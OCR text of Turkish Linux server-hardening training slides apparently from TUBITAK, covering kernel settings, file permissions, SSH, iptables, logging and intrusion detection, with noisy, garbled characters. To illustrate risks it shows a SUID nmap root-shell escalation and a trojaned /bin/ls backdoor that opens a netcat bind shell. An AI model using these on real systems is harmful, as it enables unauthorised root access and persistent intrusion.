net.ipv4.conf.default.accept_source route =0

net.ipv4.conf.all.accept_redirects =0
net.ipv4.conf.default.accept_redirects =0

net.ipv4.conf.all.secure_redirects =0
net.ipv4.conf.default.secure_redirects =0

S
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Giivenlik Amach Cekirdek Ayarlari (2) " ‘@'

TUBITAK

net.ipv4.ip_forward =0

IPv4 paketlerinin yonlendirilmesi kapatilir.

Sistem Broadcast/Multicast IP’lerden gelecek ICMP ECHO mesajlarina cevap vermez.
¥ ¥ Iy EEESSaSESESSSS—S—S—S—S— T EEETE——— O ¥

net.ipv4.conf.all.send_redirects =0

net.ipv4.conf.default.send redirects =0

Yonlendirme mesajlarinin gonderilmesini engeller.

net.ipv4.conf.all.rp_filter=1
net.ipv4.conf.default.rp_filter=1

Ters yol (reverse path) ozelligini kuIIanarak kaynak adres onamasini yapar.
- ¥ S . S . § -
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Giivenlik Amach Cekirdek Ayarlari (3) " ‘@'

TUBITAK

net.ipv4.tcp_max_orphans = 256

Herhangi bir dosya tanimlayicisiyla ilgili olmayan en fazla TCP soketi sayisi.

——

- .

net.ipv4.conf.all.log_martians =1

net.ipv4.conf.default.log_martians =1
Hedefi imkansiz olan paketlerin kaydini tutar. Or: ethO’da 127.0.0.1 gérilmesi

g

Bozuk ICMP mesajlarinin dikkate alinmamasini saglar.
¥ b

kernel.exec-shield=1
kernel.randomize _va_ space=2

Onbellek tasmasi (Buffer Overflow )korumasi
- v _=— s w § e g
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i,

Dosya Sistemi Erisim Denetimi
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[etc/fstab Ayarlari " @

TUBITAK

Disk bolmelerin ve tasinabilir cihazlarin nereye baglanacagini belirleyen dosyadir |

Tasinabilir cihazlar icin: nodev,nosuid |

/tmp, /var/tmp icin: noexec,nodev,nosuid
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Suid ve Sgid Biti Acik Dosyalar " ‘@'

TUBITAK

Bu programlar, programi calistiran kullanici haklari yerine programin sahibi olan
kullanici/grup haklariile calsir.

passwd, ping, mount, su

2 T R I =

Sistemdeki mevcut suid ve guid programlarin takibi

# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec Is -la {} \;

a
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Suid ve Sgid Istismari "

e

# type nmap

nmap is hashed (/usr/local/bin/nmap)

# sudo chmod u+s /usr/local/bin/nmap

# Is -1 /usr/local/bin/nmap

-rwsr-xr-x 1 root root 2355411 2012-08-24 07:17 /usr/local/bin/nmap

# nmap ——scrlpt <(echo 'require "os".execute "/bin/sh"")

- - S e —e — Em— - ~-
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Suid ve Sgid Takibi - SXiD “

Suid ve Sgid biti etkin dosyalarin tespiti, raporlamasi ve e-posta yolu ile bildirimi |
# cd /tmp

wget http://linukz.org/download/sxid-4.2.tar.gz
tar -zxvf sxid-4.2.tar.gz

cd sxid-4.2/

.Jconfigure --prefix=/usr/local/sxid

make

H T T OH T =

make install

A

Soomeb

__Y—f
* 5k Kk kX /usr/locaI/SX|d/b|n/SX|d --config /usr/locaI/SX|d/etc/SX|d conf |

"G a4 O
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Sahipsiz Dosyalar “ @

! TUBITAK

# find / -nouser -0 -nogroup -print

L o o - -4
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Herkes Tarafindan Yazilabilen Dosyalar " ‘@'

TUBITAK

En yetkisiz kullanici tarafindan okunabilir, yazilabilir.

;.4 - T Y N — «

Paylasimli hosting firmalarinda tehlike arz edebilir.
Web shell ekleme

# find / -perm 0002 -type f -print

R e e
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Y

Kayit dosyalari sistem hakkinda bilgi vermektedir.

Bu dosyalar okunarak sistem detaylarina sahip olunabilir.

> %

Bu dosyalar ve bu dosyalari dondiiren programlar diizenlenerek kayit dosyalari

izinleri diizenlenir.

# find /var/log -type f | xargs chmod 600
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Paket Veritabani Dosyalari (rpm) “ ‘@'

TUBITAK

Sistemde kurulu paketler ve bu paketlerin strimleri ile ilgili bilgiler kesinlikle son
kullaniciya gosterilmemelidir.

Surim bilgisi alinan bir yazilim icin acgiklik taramak son derece kolaydir.
» -— ‘ - 4

Sikilastirmak icin
# chown rpm:rpm /var/lib/rpm

# chmod 750 /var/lib/rpm
# chown rpm:rpm /var/lib/rpm/*
# chmod 700 /var/lib/rpm/*
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Baslangig Betikleri Dizinleri " A4

TUBITAK

/etc/rc.d dizini altinda Linux isletim sistemi baslangici sirasinda calistirilan
servisler mevcuttur.

Linux sistemlerde /etc/rc.d dizini altinda bulunan betiklerin izinleri ile oynanarak
sadece root kullanisi tarafindan erisilebilmesi saglanmalidir.
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USB ve PCMCIA Cihazlari " ‘@'

' TUBITAK

USB ve PCMCIA cihazlarin iptal edilmesi gerekmektedir.

Sunucuya fiziksel erisimi olan koti niyetli birisi bu cihazlar ile sistemden dosya alabilir,
sistemi USB’den boot edebilir.

2 R — =

# echo 'install usb-storage : ' >> /etc/modprobe.conf
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Y

Kullanici Erisim Denetimleri
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Uyari ve Karsilama Mesajlari “ @

TUBITAK

Sisteme girislerde (ftp, ssh, telnet, X) kullaniciya uyari mesajlari gostermelidir.

Uyarida bitldn aktivitelerin kayit altinda oldugu ve bu islemin yerel kanunlar
tarafindan izin verildigi belirtilmelidir.
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v

TUBITAK
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X Pencere Sistemi "
TUBITAK

Mimkunse sisteminizde X calistirmayin (runlevel 2 veya runlevel 3 kullanin)

# grep "Mid:" /etc/inittab
id:3:initdefault

# yum groupremove “X Window System

g L 4
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Cron Giivenligi " &

TUBITAK

- COMMAND TO EXECUTE

= EXECUTE COMMAND AS A USER ROOT

DAY OF WEE”' Sunday =0, Monday =1, Tuesday=2, Wednesday=3
= * Thursday=4, Friday=>5, Saturday=6, Sunday=7

- MONTH. January =1, February=2, March=3, April=4, May=5, June=6
: July=7, August=8, September=9, October=10, November=11, December=12

- DAY OF MONTH

linuxconfig.org
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Y

Ontanimli olarak UNIX sistemlerde kullanilmayacak fakat eskiye uyumluluk icin
sistemde tutulan kullanicilar mevcuttur.

Bu kullanicilar silinmelidir.

Pasif kullanici hesaplari kilitlenmelidir.
# useradd -D -f 35

T F e = I T T T =
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Kullanici Kabuklari ve Ev Dizinleri “ ‘@'

Ev dizinlerininizinleri en ¢cok 750 olmalidir.

Sistem kullanicilarinin root kullanicisi hari¢c kabugu /sbin/nologin olmaldir.
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Gereksiz Servislerin Kapatilmasi "
TUBITAK

Ontanimli kurulum ile bircok gereksiz serviste acik olarak gelmektedir.

Gereksiz servisler hem guvenlik acigi olusturacak hem de sistem kaynaklarini bos
yere tuketecektir.
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IPv6 Etkisizlestirilmesi “

Kullaniimiyorsa kapatin!

Kapatmakicin;
/etc/sysconfig/network:
NETWORKING_IPV6=no
IPV6IN IT—no

Kernel modultntn yiklenmesi engellemek icin;

/etc/modprobe.d/ipv6.conf dosyasini olusturup asagidaki satiri ekleyin:
options ipv6 disable=1
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Xinetd Servisleri “ @

TUBITAK

xinetd, inetd programinin yerine yazilan daha gelismis bir inetd versiyonudur. |

Red Hat ve Suse xinetd’yi kullanmaktadir.

Incoming Request
from the internet

Request

accepted a'a e

rejected

TCP Wrappers

Request
accepted

Reguest

accepted

TCP Wrapped xinetd Controlled
Metwork Service Network Service
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Kullanici Parolalari || @

TUBITAK

Kullanicilarin parolalarini belirli bir stire sonunda degistirmesi icin gerekli
vapilandirma yapilmahdir.

_— —

Kullanici parolalarinin en az karakter sayisi belirtilmelidir.

/etc/login.defs

STARTING TODAY,
ALL PASSLJORDS MUST
CONTAIM LETTERS,
NUMBERS, DOODLES,
SIGN LANGUAGE AND
SQUIRREL MOISES.

Faa%  opDO5Scot Adams, Inc./ Dist. by UFS, Inc.
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Onyiikleyici Denetimleri “ ‘@'

TUBITAK

Sistem acilisi sirasinda parola sorulmasi saglanabilir.

Boylece sistemin normal sekile acilmasinin disindaki istekler sadece parolayi

bilen kullanicilar tarafindan yapilir (single-user mode)

| Boot Loader Configuration |

A boot loader password prevents users from passing
arbitrary options to the kernel. For highest
security, we recommend setting a password, but this
is not necessary for more casual users.

[F]1 Use a GRUB Password

Boot Loader Password:
Conf irm:

o] =
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Tekli Kullanici Modu Igin Parola Korumast " @

Ontanimli olarak tekli mod’a giriste parola sorulmaz. |
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CTRL+ALT+DEL Yeniden Baglatmama " @

TUBITAK

ITIRAF EDIN
Bir probleminiz oldugunda
hep onlar1 cagirdiniz
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Parolasiz Hesaplarin Belirlenmesi “ '@'

! TUBITAK

Sistemde bulunan kullanicilarin ve
sistem hesaplarinin hepsinin bir parolasi

olmalidir veya bu kullanicilarin hesaplari
kilitlenmelidir.
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B —, Y

/etc/{passwd,shadow,group} dosyalarinda + karakteri bulunmamaldir.

# grep ‘M+’ [etc/passwd /etc/shadow /etc/group

-
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Kullanici .* dosyalari giivenli " ‘@'

TUBITAK

Ayni gruptaki baska bir kullanici veya herkes tarafindan yazilabilirse bu dosyalar
gluvenlik acigi olusturur.
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.netrc Dosyasi izinleri " &
! TUBITAK

Sistem ve kullanici hesaplarinda .netrc dosyasi bulunmamalidir.

Bu dosy;‘tp sifrelerini acik halde tutar.
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Kullanici umask Degeri "
TUBITAK

Sistemde bulunan batun kullanicilar icin umask degeri 077 olmalidir.

/etc/profile dosyaS| |ger|smde umask = 077 olarak yapllandlrlllr
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Cekirdek D6kiimiiniin Iptali " \ 4

TUBITAK

Sisteminizdeki isletim sisteminin getirdigi kurallara uymayan programlar cekirdek
tarafindan durdurulur.
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Derleyicilerin Etkisizlestirilmesi “ ‘@'

! TUBITAK

Derleyiciler kapatilarak sunucuda derlenebilecek bir program engellenebilir.
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Internet Erisimi Saglayan Araclarin Kaldirilmasi “ @

TUBITAK

Sisteminizde var olan kullanicilar veya bir sekilde sisteminize sizan kullanicilarin
internetten dosya indirmesi engellenebilir.
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“root” Olabilecek Kullanicilarin Belirlenmesi " @

TUBITAK
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_“ TUBITAK

/etc/sudoers |

Metin editorleri ile dizenlemek yerine visudo komutu tercih edilmelidir.

Genel kullanim so6zdizimi |
kullanici_adi login_yeri=(izin_verilen_haklar) izin_verilen_komutlar
rocky ALL=(ALL) ALL
Someker
R e T T i
%admin ALL=(ALL)  ALL //admin grubuna sinirsiz yetki

rocky localhost=/sbin/halt, /bin/kill, /etc/init.d/httpd //sinirh yetki
rocky ALL= NOPASSWD /sbln/halt

Loglar varsayilan olarak /var/Iog/secure altmda tutulur |
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Zaman Senkronizasyonu “
TUBITAK

Neden NTP? |

= Zaman hassas servisler (Kerberos vb.)

= Dilzgln kayit tutma

= jz siirme

Cron isi ekleme (/etc/cron.d/ntpdate)

15 * * * * root /usr/sbin/ntpdate server |
= LS. ] ¥

T e —— i 4
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Kayit Tutma " ‘@'

TUBITAK

Sistem glvenligini saglamaniz icin glinlik tutmak, /. SB2 A VAL kAug!
S : - : [ Tk BEN CEYLEDIM Bu (AFI,

glnlik dosyalari sisteminize gelecek bir saldiriyi haber § G RETL Y

vermekten ag problemlerinizi cozmenize kadar pek -

cok konuda yardimci olacagindan cok onemlidir.

Kayit tutma siresinin ihtiyaglari karsilamasi /w\\
= Kurum politikalari

= Kanunlar (5651)
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_ KaytToKE R

Syslog UNIX Kayit sistemidir. |

/etc/syslog.conf yapilandirma dosyasidir.

= imkanlar: auth, auth-priv, cron, daemon, kern, lpr, mail, news, syslog, user,
uucp, ve localO-local7

= Oncelikler: debug, info, notice, warning, err, crit, alert ve emerg
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B Y

Kurulum ve baslatma

# yum install rsyslog

# chkconfig syslog off

# chkconfig rsyslog on

—— - o - .

Yapilandirma (/etc/rsyslog.conf)

auth,user.* /var/log/messages
kern.* /var/log/kern.log
daemon.* /var/log/daemon.log
syslog.* /var/log/syslog

lpr,news,uucp,local0,locall,local2,local3,local4,local5,local6.* /var/log/unused.log

# pkill -HUP rsyslogd

- i i = — e o S =
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_ Merkei!Syslo6 ST
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B —— Y

Istemci tarafindan su sekilde kayit gdnderilir. (/etc/rsyslog.conf)

@ @logsunucusu.alanadi.com:port

> @@ |Ie mesaJIar TCP lzerinden gonderilir.

= ——— —

Sunucu tarafinda: |
--— ¥

= Eger sunucu Linux ise syslogd’ye -r parametresi ile

= Eger sunucu FreeBSD ise -s ile

= Eger sunucu Solaris ise -T ile

= Eper sunucu OpenBSD ise -u parametre5| ile

== T EE T TR T T Y
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B — Y

Sistem kayitlarinin takibi zordur. |

Logwatch tamamen betiklerden olusmus bir programdir. | |

# yum install logwatch —y
# vi fusr/share/logwatch/default.conf/logwatch.conf

# logwatch --print | less

. ; —_— e —— L ——— -
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B ——— Y

logrotate

/etc/logrotate.d/syslog

= /var/log/messages
= /var/log/secure

= /var/log/maillog

= /var/log/spooler

= Jvar/log/boot.log

= /var/log/cron

- ——
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Denetleme Altyapisi " ‘@'

' TUBITAK

Kernel seviyesinde yapmak icin ‘auditd’

SOX, PCI, HIPAA gibi standartlara uyumlu cikti verir.

v Aclilan, yazilan, silinen , degistirilen tim dosyalar

v" Hangi kullanici, hangi tarihte ne komut calistirmis...

2 ——r - :

‘ audit.rules ‘ auditd.conf
[ auditctl :
audispd W
1t 1 M i - ~
ol 1 aureport
Y auditd "G
Y S [ J T

. audit.log
application k
“ & (Coumee ) s
/j audit }17'

[

I kernel
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_ Auchd Ry

Etkinlestirmek icin |

# chkconflg audltd on

Audit log boyutunu yeniden dizenleyin
/etc/audit/auditd.conf

max_log_file = <MB>

space_left_action = email
action_mail_acct = root

admin_space_left_action = halt

max_log_file_action = keep_ Iogs

€ _ B RS S BB B RS -y S .4
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Y

Komut satiri uzak erisim protokolu ve bu protokol ile iletisim kuran yazilim seti

= Telnet’in iletisim gizliligi ve butunltgu saglayan bir bicimi
= Uctan uca sifreleme f

= Karsihkh kimlik dogrulama

= jletisim butunlugu
¥ —_— = S e =

I”

lletisim glivenligi gerektiren hemen her tiirlii uygulamada “givenli tiinel” olarak

da kullanilabilir

Guvenli veritabani baglantisi, dosya transferi, ...

L e R B ERE e _EE EE s B B BB E Y

OpenSSH, SSH Protokoltnin Gcretsiz surimudur. |

BSD lisanslidir ve OpenBSD takimi tarafindan gelistiriimektedir. |
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v

TUBITAK

Sunucu uzerinde SSH sunucusu calistirilir:

# service sshd start
# chkconfig sshd on

-—— — -

Istemci bilgisayardan uzaktaki sisteme baglanmak icin:

# ssh kullanici@sunucu.com |
¥ A = S 4

INTERNET
Last Mile

re===="="""Network _____~ /.‘-—f"'
. JV\\

o {SSH Tunnel

N

ISSH Client
}Machine C

| . . M A [ \ Mail server

SSH Server
Machine S

S /"—
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SSH | Bilesenleri “

ssh, sshd, sftp, scp, ssh-agent, ssh-keysign, ssh-keyscan, ssh-keygen, sftp-server
programlarindan olusur.

sshd_config |
sshd programmln yapllandlrma dosya5|d|r |

ssh_config |

8 ssh programinin yapilandirma dosyasidir.

ssh ilk basta komut parametrelerini kullanir.

Bundan sonra kullanicinin ev dizinindeki .ssh/config dosyasi okunur.

En son olarak bitin sistem icin gecerli olan /etc/ssh/ssh_config dosyasi okunur.

Kullanilabilecek bu t¢ degerden ilk karsilasilan kullantlir.
. T A gl g -

ssh dosyalari |

= authorized_keys identity.pub id_rsa.pub

= id_rsa id_dsa.pub id_dsa, known_hosts
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B Y

= [stemci, dogru sunucuya baglandigindan emin olur

# ssh kullanici@sunucu.com

= Baglanti gerceklestirildiginde sunucu anahtari kaydedilir

4 - &

Her SSH sunucusunun bir anahtar ikilisi vardir

SSH, acik anahtarli sifreleme Gzerine kuruludur
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_SSH | SUnuc] DOSrUIEESTIRNRR

Sunucu actk anahtarinin gtuvenli bir bicimde istemci bilgisayarina yuklenmelidir

Sunucu acik anahtari /etc/ssh/ssh_host_key.pub dosyasi icerisindedir

Sunucu agik anahtarinin istemci tUzerindeki ssh_known_hosts dosyasina uygun bicimde
eklenmesi yeterlidir

” 1 - LR _ =& S m
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SSH | Kullanici Dogrulama " ‘@

' TUBITAK

elenekKksel parola temeilll KutlaniCl dogruiama

T

On-tanimli calisma bicimi

7 ——

Acik anahtarli dogrulama

T

= Kullanici, kendisini tanimlamak i¢in kullanacagi anahtar ciftini
ssh-keygen programi ile Uretir

siFresing ¢Ozlp

= Sunucu Uzerinde “anahtar ile dogrulama” yontemi ile giris
yapacagi hesaba acik anahtarini “giivenilen bir kullanici” olarak
tanimlar

= Kendi sistemi tzerinde yer alan gizli anahtar kullanicinin
tanimlayicisidir

= Gizli anahtar, calinmaya karsi bir parola ile korunabilir
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Uygulama | Anahtar Dosyasi ile Erisim

TUBITAK
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Uygulama | Anahtar Dosyasi ile Erisim,PuTTY "

TUBITAK

PuTTY ve PuTTYgen uygulamalan indirilir. |

PuTTY istemcisi ile gizli anahtarli erisim saglanir. |
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SSH Giivenligi (1) | A4

TUBITAK

" = Protocol 2 SSH Protokolnun 2. versiyonu kullaniimalidir.

= PermitRootLogin no Sisteme uzaktan root olarak erisiimemelidir.

= AllowUsers {kullanici_adi} Sadece belirli kullanicilarin ssh ile sisteme giris
DenyUsers yapmalari saglanmalidir.

= AllowGroups {grup_adi} Sisteme girmesi gereken kullanici sayisi ¢ok ise
DenyGroups kullaniimalidir.

= X11Forwarding no X forwarding kapatiimalidir.

= lgnoreRhosts yes Rhost secenekleri tamamen kapatiimahdir.

= PasswordAuthentication no Sisteme sadece ‘acik anahtar’ kullanilarak

girilmesi saglanmalidir.
= PrivilegeSeperation yes Yeni guivenlik aciklarina karsi 6nlem alinmalidir.
= LogLevel INFO Login ve logout aktivitelerinin kaydedilmesi

= MaxAuthTries 4 En fazla oturum agma denemesi
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SSH Giivenligi (2) | A4

' TUBITAK

Devam...

e HostbasedAuthentication no .rhosts hostlarina izin verilmemelidir. E
= PermitEmptyPasswords no Bos parola ile oturum acilmasi 6nlenmelidir.
= PermitUserEnvironment no Cevre degiskenlerine mudahale edilememelidir
= Ciphers aes128-ctr,aes192-ctr,aes256-ctr
= ClientAlivelnterval 300 Hareket yoksa oturumu sonlandir. ] 5dk. sonra
= ClientAliveCountMax 0 Kac kere Alive mesaji gonderilecek kapanrr.

Banner <bannerfile> Bkz. Banner

—
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SSH Giivenligi | Fail2Ban " ‘@

' TUBITAK

FAIL2BAN

ba kuvvet ile ilgili servis Gzerinde yetki elde etme tesebbuslerinin tespiti

= Log dosyalarini takip ederek, belirlenen bir sayinin Gzerinde basarisiz login
girisimininde bulunan birinin IP adresini belirlediginiz bir stire boyunca reddeder.

= |ptables veya tcpwrappers kullanilarak gerceklestirilebilir.

— Sp———
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[etc/hosts.{allow,deny} " ‘@

' TUBITAK

Host tabanli erisim kontrolleri icin kullantlir.

= - & e —————————————————— T

€tc/Nnosts.allow , /etc/nosts.aeny dan once okunur ve

e SEEE— =

T

Ik karsilasilan kural uygulanr.

DoSya Izinlerine dikkat ediimelidir.
= T

o TS

# chmod 644 /etc/hosts.{allow,deny}

e ——
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IPtables “ ‘@'

TUBITAK

Linux sistemler icin gomull givenlik duvari

L2’den L7'ye mudahale imkani |

= MAC’e gore filtre

= P2P, MSN vs. protokollerine gore filtre

—ry- — -

filter
forward

nat filter filter 1 nat lm

ext mangle mangle = mangle
—b(premuting prerouti.ngJ+ route —.{ input H input }-.' process +[ output H cutput }—bﬁ:ostmti:%—b
)
v, ‘F Home

!
7 ]1an (eth1) { Network
(]

internet ext (ethD)

filter filter mangle nat

nat mangle mangle
ext : local . s ; ;
-4—[1)ostroutm§<—[ output )q—[ output )‘— process ‘—[ mput )4—[ mput }1— route H—[premutmg px'nercxutn'lg]d-“t'l

| =
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_ Uygulara | IPEEEIES S

Sadece yonetici agi icin SSH ve HTTPS erisim izni
# iptables -F
# iptables -A INPUT -p tcp --dport 22 -s 192. 168. 1. 0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 443 -s 10. 10. 1. 0/24 -j DROP

# iptables -A INPUT -j REJECT
4 —

Online kural Greteci |

http://www.mista.nu/iptables/ |
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http://www.mista.nu/iptables/
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Biitiinliik Dogrulama ? “ ‘@

TUBITAK

Gercek: Linux’ta hersey dosyadir

Dosyalarin guvenllgl en onemli konudur |

Uygulama | Basit b|r arka kapi |
mv /bm/ls /bin/Ims

echo "nc -l -p 8888 -e /bin/bash &" >> /bin/Is
echo "/bin/Ims" >> /bin/Is

chmod +x /bin/Is

Is

= =T T =

- T YT Bl R Ty TrrY

CCozim
e s
1. Dosyalarin hash degerini al

2. Sadece okunabilir ortamda sakla

3. Belirli bir zaman sonra tekrar al ve karsilastir.

- —
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_ Roorkiier (1] S

Sistemde gerceklestirilen olaylarin sistem yoneticisi de dahil olmak Gzere tim

kullanicilarin géziinden saklamak icin kullanilan araclara verilen isim

= Calistirdigl dosyalari gizleyebilir,

Sistemdeki diger kullanicilarin sifrelerini degistirebilir,

Sniffer yardimiyla veri akisini dinleyebilir,

Backdoor yardlmlyla sisteme rahatlkla tekrar glreblllr

- T —
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_RootkiEEr (2]

- . = S —— -

packetstormsecurity.org/UNI{/penetration/rootkits/

Files B showing 1 - 25 of 225

Reverse Shell 1.0
Authored by Ashfag Ansari Posted Oct 8, 2012
This sample code is a reverse shell written in PHP with an authentication feature.

tags | tool, ghell, php, rootkit
systems | unix
MD5 | d0005805094e035£6c22

Download | Favorite | Comments (0}

Rubilyn 0.0.1
Authored by prdelka | Site nullsecurity. net Posted Oct 6, 2012

This is a 64bit Mac OS3-X kernel rootkit that uses no hardcoded address to hook the BSD subsystem in all OS-X Lion
and below. It uses a combination of syscall hooking and DKOM to hide activity on a host. String resolution of
symbols no longer works on Mountain Lion as symtab is destroyed during load, this code is portable on all Lion and
below but reguires re-working for hooking under Mountain Lion.

tags | tool, kernel, rootkit
systems | unix, bsd, apple, osx
MD5 | 4e87 f7d1b0a76labl5d4dEbed Download | Favorite | Comments (0)

Weevely PHP Backdoor 0.7

Authored by Emilio Pinna | Site epinna.github.com Posted Jul 11, 2012

a3 i e o .

v

TUBITAK
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_ Chkracekit R

uruium

# cd /usr/local/src
# wget http://veriportal.com/download/chkrootkit.tar.gz
# tar -xvf chkrootkit.tar.gz
# cd chkrootkit-0.49
# make sense
# cd..

# In -s chkrootkit-0.49 chkrootkit
# cd chkrootkit chkrootkit
# ./chkrootkit

3

Rutin bir sekilde chkrootkiti cron ile ¢alistirmak icin:

55 * * * (cd /usr/local/src/chkrootkit; ./chkrootkit | mail -s "chkrootkit raporu"
eposta@adresim.com)

- —— ~ —— P U -
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_ UyeulEma | RRFIREFSS—

Kurulum |

# wget http://garr.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.0/rkhunter-
1.4.0.tar.gz

tar -zxvf rkhunter-1.4.0.tar.gz

cd rkhunter-1.4.0

.Jinstaller.sh --layout default --install

/usr/local/bin/rkhunter --update

/usr/IocaI/bln/rkhunter --propupd

H H H = H

Manuel Tarama yapmak icin |
-Y—F

# Jusr/local/bin/rkhunter -c I

= e R E R R R S
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Butuinluk Dogrulama Yazilimlari

« =>C Dwww.lafsamhna.deflibrary/scanners.ﬁtml

Name
Expansion

Duplicate

printable

No Group

Afick |AIDE FECheck Integrit|Osiris OSSEC Samhain Tripwire
Version 2.9-1 0.13.1 2.07.99 4.0 4.2.2 2.3 2.2.6 2.4.01
Oct 05, Dec 15, May 03, Apr 19, |Sep 14, Dec 04, Dec 01,
Date 2006|2006 2001 2006 2006 2009 Oct 31, 2006 2005
PGP
signed
Language |Perl C Perl C C C C C++
d5 OpenssL
) i fd-sum penl GnuPG (only if signed
Required libmhash  {or 0.9.6j or 3
config/database used)
md3) newer
central log |central lo stderr, email, file,
stdout, g g pipe, syslog, RDBMS,  stdout,
server server .
Log stderr, stdout, L . .. central log server, file,
. stdout |, ; stdout | (email+file | (email+file .
Options file, file |syslog prelude, external email,
descriptor On SSrver |on server script, IPC message syslog
side) side) ’
queue
DB
. NO NO NO NO NO NO
sign/crypt
conf NO  |NO NO | NO  NO NO
sign/crypt

New /Del

TUBITAK
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Host Bazli Saldiri Tespiti | Tripwire “ ‘@'

ButunlUk kontroll yapan araclarin buyuk babasi

Tripwire Veritabanlari

= CRC checksum lari kolaylikla bozulabilmektedir.
= Tripwire kriptografik checksumlar veritabani olusturur.
= En blylk zayifligi kok (root) erisimi elde edildiginide veritabaninin degistirilebilmesi

= Sadece okunabilir medya, disket veya CDROM icinde tutulmal.

= Veritabani ve konfiglirasyon dosyalari kriptografik olarak imzalanir

Tripwire’in kosturulmasi |

= [k kosturulmada veritabani olusturulur.

= Daha sonraki kosturmalarda veritabanindaki bilgi sistemdeki bilgi ile karsilastirilr.

« —r = >
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Host Bazli Saldiri Tespiti | OSSEC " ‘@'

= Rootkit belirleme @OSSE’. ‘
N

Butunlik testleri

Log inceleme ve uyari tretme (Apache, Sendmail, Postfix, Squid, Proftpd, Bind,
Openssh,Cisco-pix , Windows vb.)

Aktif yanit Gretme (IP ve kullanici tabanli engelleme)

Tek basina veya Sunucu-istemci seklinde calisabilme

Kural yazabilme

— B —— E—3 I f—
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Host Bazli Saldiri Tespiti | OSSEC Alarmi

TUBITAK
SSEC Notification - (hitit) 192.168.8.15 - Alert level 13 |
Kimden: [ OSSEC HIDS )
Kime: [rmasters@_h

OSSEC HIDS Hotification.

2013 Jul 02 00:25:41

Received From: (hitit) 192.168.8.15-»/var/log/httpd/error log

Rule: 30117 fired (lewvel 10) -> "Invalid URI, file name too long."™

Portion of the log(=):

[Tue Jul 02 00:25:40 2013] [error] [client 182.168.8.18] reqgquest failed: URI too long (longer than 8180)

——-END OF NOTIFICATICHN

OSSEC HIDS Hotification.

2013 Jul 02 00:25:41

T R e T = B B AR UYL S T A R A 2 m L P IR T
Fule: 31115 fired (level 13) -»> "URL too long. Higher than allowed on most browsers. Possible attack.™ J
T

192.168.8.18 - - [02/Jul/2013:00:25:40 +0300] "GET f?page=inline_imageEmailbnx=IHEDXEaid=12230&filename=011&232&?6—
1%224+width%3D%22700%22+height$3D%22155%22+32F33E43CE2Fcdi3E23C32FcrE3E20DR0A%3CErE3E20DR0A%3CEd+valigni3DE22top%22%
acing33D3220%224cellpadding33DE2215%224+width33D%22100%25%22%3E30D30A%3CtbodyE3ES0DS0AS3CLrE3EL0D%30A%3Ctd4clas=330D%2
D%0A%3Ccable+border33D%220%224+cell=pacing%3D%220%224+cellpadding$3D%220%22+widch33D322100%25%2233E30D%0A%3Ctbody33ES
-ALIGN%3A+centeriZZ+tnowrapt3DE22yvest2253E33Cspan+stylet 3D 2 2TEXT-ALIGHN:3A+center3 3B+ FONT -
SIZER3a+11px%22F3EIf+vouthave+troublet+viewing+this+tmessage+or+if+ic+is+inconpleted2Ciplease+click+on+the+link+below
2+href33D322heepi3A32FE2Fwww. erranet. orgi2Ffecpaying email32F2013june322+target33Di22 blank322%3Ehttp33AT2FE2Fwww. e
N T b T .Y W Y T R ST N PR N N Y WY N W R S W W Y N W NN e

E% MG MDD
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_ Uyglara | GSSECIRIRIINSRSSEG—_

TUBITAK

Sadmiar

#cd /tmp
# wget http://www.ossec.net/files/ossec-hids-2.7.tar.gz

# tar -zxvf ossec-hids-2.7.tar.gz
# cd ossec-hids-2.7
# ./install.sh

# /var/ossec/bin/ossec-control | {stop |start}

—

Yapilandirma dosyasi ve log takibi |

# vi /var/ossec/etc/ossec.conf ‘
# tail -f /var/ossec/logs/ossec.log

- -_— >
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Host Bazli Saldiri Tespiti | RPM (1) " ‘@'

Paket dosyalarinin kontrolu i¢cin RPM kullanimi

= Paketler kuruldugunda olusturulan “rpm” veritabani MD5 checksum, UID, GID, mod,
blyuklik gibi bilgileri icerir.

= rpm komutu sistemdeki degisiklikleri kontrol eder ve raporlar.

= Dezavantaj: Veritabaninin giincellenememesi

3 1 LS = DN =S S d -
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Host Bazl Saldiri Tespiti | RPM (2) “ &

TUBITAK

Eger herhangi bir paketin herhangi bir dosyasinin degisip degismedigi
sorgulanmak isteniyorsa, rom' e -Va parametresi verilir.

Sira No |Sembol [Anlam
1 S Dosya boyutu degismis
2 M Mod ya da izinleri degismis
3 5 Checksum degismis
4 D Aygit major ya da mindr numaralan
degismis
5 L Kisayol degismis
6 U Kullanici sahipligi degismis
7 G Grup sahipligi degismis
8 T Son dizenlenme tarihi degismis

Eger ilgili kolonda . isareti varsa, o bilginin degismedigi belirtilmis olur.

_ e .
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Antiviriis Korumasi " @
I TUBITAK

Bu nedenle virusler genellikle isletim sisteminin kendisini
etkileyemezler.

= Unix dinyasi icin tasarlanmis bir antivirts yazihmidir.
= Bircok posta sunucusu ile bittnlesik calisabilir.

- ——— T r R e - =
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Uygulama | ClamAV Kurulumu “

Srorulam
R B T i

# yum install clamav clamd freshclam

# service clamd start

# chkconfig cIamd on

Guncelleme |

# /usr/bln/freshclam -V

Cron isi (chmod +x) |

/etc/cron daily/clamscan
#!/bin/bash

clamscan -r -i --exclude-dir="/sys\|*/proc\|*/dev

/etc/cron.daily/clamupdate
#1/bin/bash

Jusr/bin/freshclam --quiet
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Erisilebilirlik Kontroli
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Sistem ve Ag izleme

Monitoring: Bir ag'in kendini ifade etme yetenegi

rF =Y -

Ucretli ve acik kaynak kodlu farkli alternatifler

http://en.wikipedia.org/wiki/Comparison of network monitoring systems

d
solarwinds ¥

[N\
(1! prTG

e T T S - Network Monitor

Barking at daemons
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Sistem ve Ag izleme | Nagios " ‘@'

TUBITAK

Acik kaynak kodlu bir monitoring sistemi

1999’dan beri

Disk, HTTP/s, SMTP, POP3, IMAP, SSH, FTP vb.

i O ¥

CPU, Memory,

Gecmise yonelik detayli raporlama

asmis bitirmis network management programi. bugln bakanm yarnn incelerim derken
senelerdir pas gectifim ve sonunda whatsup'in database'inin Golncl defa catlamasiyla
direkt boynuna sanlp "kurtar beni vigidm™ dedigim harika bir programdir kendisi. éninde
sayaiyla edilivorum.

paylas = 18.11.2009 1<4:46 KUrzon

sikayet
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Nagios | Nasil Calisir? "

check_nrpe plugini ile uzaktaki hostun 5666 no'lu tcp portunu ;
dinleyen NRPE daemon'ina baglanir ve kontrol edilecek kaynaga ait Plugins
plugin'i calistirmasini soyler.

r ——

e —————

551

Magios = check nrpe

Maonitoring Host

o=y

Passive Check

check_disk Local
NRPE Rlesources
check_load Sorvicis

